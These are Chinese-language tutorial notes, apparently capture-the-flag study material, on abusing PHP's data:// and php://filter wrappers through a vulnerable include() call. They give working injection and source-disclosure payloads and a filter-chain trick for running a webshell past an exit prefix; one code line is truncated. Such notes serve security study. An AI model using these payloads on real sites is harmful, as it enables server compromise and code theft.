data://
作用:能够让用户控制输入输出流,配和包含函数可以将用户输入的数据作为php文件执行,例如下面这个php文件:
<?php
$file = $_GET['file'];
include($file);
?>当访问?file=data://text/plain,<?php phpinfo();?>时,页面会返回<?php phpinfo();?>的内容。
还可以使用编码进行绕过:?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+。
php://filter
作用:在读入或写入数据时将数据处理后再输出 格式:
php://filter/read=xxx|xxx|xxx/resource=xxx
php://filter/write=xxx|xxx/resource=xxx
参数:
string.rot13 //一种字符处理方式,字符右移十三位
string.toupper //转换为大写
string.tolower //转换为小写
string.strip_tags //去除html和php标记,比如<?php?>(绕过死亡exit)
convert.base64-encode //base64编码
convert.base64-decode //base64解码
convert.quoted-printable-encode //将可以打印的ASCII编码字符表示为编码形式下的字符
convert.quoted-printable-decode //将编码形式下的字符解码为可打印的ASCII编码字符
示例:
//浏览器读php文件时默认是作为页面输出,下面伪协议将php文件的内容输出
php://filter/read=convert.base64-encode/resource=index.php
//将xxxxx写入hello.txt
php://filter/write=string.rot13/resource=hello.txt","xxxxx"
关于死亡绕过: 服务器可能对上传的文件执行了以下函数:
file_put_contents($content, '<?php ?>可以使用convert.base64-encode和convert.base64-decode进行绕过:
- 先将木马内容进行base64编码
- 在编码后的木马前加一个字符,比如’a’
- 访问
php://filter/read=convert.base64-decode/resource=index.php,执行index.php
原理:base64编码会先过滤无法识别的字符,比如<;?>,然后文件结构变为phpexit+a+编码后的木马,由于base64编码和解码将四个字符作为一组,所以phpe和xita就被解码为其他字符,木马则正常解码,返回到页面
还可以使用string.strip_tags进行绕过:
<?php exit;可以作为一个XML标签被string.strip_tags过滤,所以可以访问php://filter/read=string.strip_tags/resource=index.php来执行index.php,也可以搭配上一种方法组合使用。